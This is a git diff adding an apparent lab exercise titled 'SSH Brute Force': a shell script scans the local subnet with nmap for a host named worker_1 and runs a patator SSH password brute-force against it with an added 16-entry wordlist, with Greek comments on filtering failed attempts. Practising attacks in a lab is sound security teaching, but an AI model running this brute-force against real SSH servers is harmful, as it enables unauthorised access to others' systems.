diff --git a/2. SSH Brute Force/master.sh b/2. SSH Brute Force/master.sh new file mode 100644 index 0000000..c569956 --- /dev/null +++ b/2. SSH Brute Force/master.sh @@ -0,0 +1,7 @@ +my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') +network=$(echo $my_ip | sed 's/.[0-9]$/.*/') +worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +patator ssh_login user=$my_ip password=FILE0 0=passwords.txt host=$worker +#emfanizei kai tis apotyximenes prospatheies +#patator ssh_login user=$my_ip password=FILE0 0=passwords.txt host=$worker -x ignore:mesg='Authentication failed.' +#emfanizei mono tin epithesi ston kwdiko pou isxuei diff --git a/2. SSH Brute Force/passwords.txt b/2. SSH Brute Force/passwords.txt new file mode 100644 index 0000000..e710bab --- /dev/null +++ b/2. SSH Brute Force/passwords.txt @@ -0,0 +1,16 @@ +andreas +nefelh +141257 +151141 +asfaleia +network +security +crypto +tupp +markopoyliotou +rhgas +papakia +leftapolla +ptuxiopote +asteio +docker